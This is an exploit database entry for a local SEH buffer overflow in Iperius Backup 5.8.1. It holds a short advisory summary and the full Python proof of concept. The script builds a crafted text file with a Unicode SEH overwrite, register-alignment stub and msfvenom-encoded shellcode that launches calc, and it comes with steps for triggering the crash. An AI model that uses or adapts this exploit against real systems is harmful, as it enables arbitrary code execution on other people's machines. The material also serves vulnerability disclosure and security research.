Iperius Backup 5.8.1 - Buffer Overflow (SEH)

vendor:

Iperius Backup

by:

bzyo

9.3

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: Iperius Backup

Affected Version From: 5.8.1

Affected Version To: 5.8.1

Patch Exists: YES

Related CWE: N/A

CPE: a:iperius_software:iperius_backup

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 7 SP1 x86

2018

Iperius Backup 5.8.1 – Buffer Overflow (SEH)

Iperius Backup 5.8.1 is vulnerable to a buffer overflow vulnerability when a maliciously crafted file is opened. This can be exploited to execute arbitrary code by causing a stack-based buffer overflow via a specially crafted file. The vulnerability is due to a lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length stack-based buffer. An attacker can exploit this vulnerability to execute arbitrary code in the context of the application.

Mitigation:

Upgrade to the latest version of Iperius Backup 5.8.1 or later.

Source

Exploit-DB raw data:

# Exploit Title: Iperius Backup 5.8.1 - Buffer Overflow (SEH)
# Date: 2018-12-26
# Exploit Author: bzyo
# Twitter: @bzyo_
# Vulnerable Software: Iperius Backup 5.8.1
# Vendor Homepage: https://www.iperiusbackup.com
# Version: 5.8.1 Local Buffer Overflow (SEH Unicode)
# Software Link: https://www.iperiusbackup.com/download.aspx?v=free
# Tested Windows 7 SP1 x86

# PoC
# 1. run script
# 2. open app and create backup job
# 3. on other processes tab, select 'run a program or open external file'
# 4. copy/paste iperius.txt contents into file location
# 5. select ok to complete creating backup job
# 6. run backup job
# 7. app crashes; pop calc

#!/usr/bin/python

filename="iperius.txt"

junk = "\x71" * 306

#popad
nseh = "\x61\x62"

#0x005b004a
#pop esi # pop ebx # ret  | startnull,unicode,asciiprint,ascii Iperius.exe
seh = "\x4a\x5b"

valign = (
"\x53" 					#push ebx
"\x47" 					#align
"\x58" 					#pop eax
"\x47" 					#align
"\x05\x12\x01" 	                        #add eax,200 
"\x47"					#align
"\x2d\x11\x01"	                        #sub eax,100
"\x47"					#align
"\x50"					#push eax
"\x47"					#align
"\xc3"					#retn
)

#509 bytes
#msfvenom -p windows/exec CMD=calc -e x86/unicode_upper BufferRegister=EAX
calc = (
"PPYAIAIAIAIAQATAXAZAPU3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AI"
"AJQI1AYAZBABABABAB30APB944JBKLZH4BM0M0KPS0SYIUP1Y01TTKR0NP4K1BLLDK0RN4DK42O8LOH70JMV01KO6LOL31SLKRNLO0"
"7QHOLMM17WK2L21B1GDKQBN04KOZOLDKPLN148ZC18KQJ121TKB9O0KQ9C4K0IN8ZCOJQ9TK04TKM1YF01KOVL7QXOLMM1GWNXK045"
"ZVLC3ML8OK3MO43EZDQHTKR8O4M1XS2FDKLLPK4KB8MLKQJ3TKKTTKM1XPCYOTMTO41K1K310YPZ21KOIPQOQOPZDKN2ZKDMQM1ZM1"
"TMU582KPKPKP201XNQ4KRODGKOXU7KZP7EVB26BH76TUGMUMKOXUOLLFCLKZSPKK9PD5KU7K0GN33BBO1ZM01CKOXUQS1QBL33M0AA")

nops = "\x71"*109

fill = "\x71"*1000

buffer = junk + nseh + seh + valign + nops + calc + fill
  
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()